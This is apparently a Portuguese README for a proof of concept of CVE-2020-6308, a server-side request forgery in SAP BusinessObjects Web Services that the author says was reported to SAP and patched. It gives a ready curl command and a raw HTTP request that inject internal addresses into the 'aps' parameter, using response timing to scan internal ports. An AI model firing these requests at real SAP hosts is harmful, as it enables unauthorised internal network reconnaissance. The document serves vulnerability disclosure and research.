initroot/cve-2020-6308-pocPoC CVE-2020-6308
SAP BusinessObjects Business Intelligence Platform (Web Services) versões - 410, 420, 430, permite que um atacante não autenticado injete valores arbitrários como parâmetros CMS para realizar consultas na rede interna que de outra forma não é acessível externamente. Siga-me no Twitter ou envie DM para perguntas: https://twitter.com/initroott
Relatei o problema à SAP em maio de 2020 e a correção foi lançada em outubro de 2020. Você pode prosseguir e desenvolver seu próprio PoC mais adiante, no entanto, fornecerei um pouco de contexto. A função CMS não valida o endereço fornecido. Se o firewall do host não estiver configurado corretamente, é possível fazer facilmente a varredura de portas ou da rede interna com base nas respostas recebidas das requisições. Mostrarei no exemplo abaixo como você pode ver portas abertas usando a requisição CuRL. No exemplo abaixo, tenho um Host SAP (192.168.0.191), Máquina Atacante (192.168.0.149) e outro dispositivo, por exemplo, roteador interno (192.168.0.1).
Nosso host SAP tem as seguintes portas abertas:
E nosso roteador interno tem as seguintes abertas: 53,80,34573
Então, vamos testar isso. Podemos identificar portas abertas simplesmente com base nos tempos de resposta das requisições. Exemplos abaixo:
time curl -i -s -k -X $'POST' \
-H $'Host: 192.168.0.191:8080' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:81.0) Gecko/20100101 Firefox/81.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 120' -H $'Origin: http://192.168.0.191:8080' -H $'Connection: close' -H $'Referer: http://192.168.0.191:8080/AdminTools/querybuilder/ie.jsp' -H $'Cookie: JSESSIONID=8EE4AA85EB930DEB7090187F4CB4711B; developer_samples_app_lastusr=admin; developer_samples_app_lastaps=192.168.0.191; developer_samples_app_lastaut=secEnterprise' -H $'Upgrade-Insecure-Requests: 1' \
-b $'JSESSIONID=8EE4AA85EB930DEB7090187F4CB4711B; developer_samples_app_lastusr=admin; developer_samples_app_lastaps=192.168.0.191; developer_samples_app_lastaut=secEnterprise' \
--data-binary $'aps=192.168.0.1:53&usr=admin&pwd=&aut=secEnterprise&main_page=ie.jsp&new_pass_page=newpwdform.jsp&exit_page=logonform.jsp' \
$'http://192.168.0.191:8080/AdminTools/querybuilder/logon?framework='
Testando os seguintes payloads:
Aqui você pode ver os resultados do teste de portas fechadas, média em torno de 5ms..
Aqui você pode ver os resultados do teste de portas abertas/filtradas com tempos muito maiores..
Agora o abaixo não é ideal, pois diferentes roteamentos, alguns firewalls podem impactar os resultados. No entanto, deve dar uma ideia de por onde começar a construir um exploit melhor. O acima pode ser ajustado criando uma linha de base e depois trabalhando a partir daí. Eu definitivamente aconselharia a configurar um listener e depois ver o que acontece.
O abaixo mostra como a requisição será vista no Burp com o parâmetro APS sendo o ponto de injeção vulnerável. Um PoC mais simples seria apenas injetar um valor de token canário e esperar pelo acionamento..
POST /AdminTools/querybuilder/logon?framework= HTTP/1.1
Host: 192.168.0.191:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 128
Origin: http://192.168.0.191:8080
Connection: close
Referer: http://192.168.0.191:8080/AdminTools/querybuilder/ie.jsp
Upgrade-Insecure-Requests: 1
aps=192.168.0.191&usr=admin&pwd=admin&aut=secEnterprise&main_page=ie.jsp&new_pass_page=newpwdform.jsp&exit_page=logonform.jsp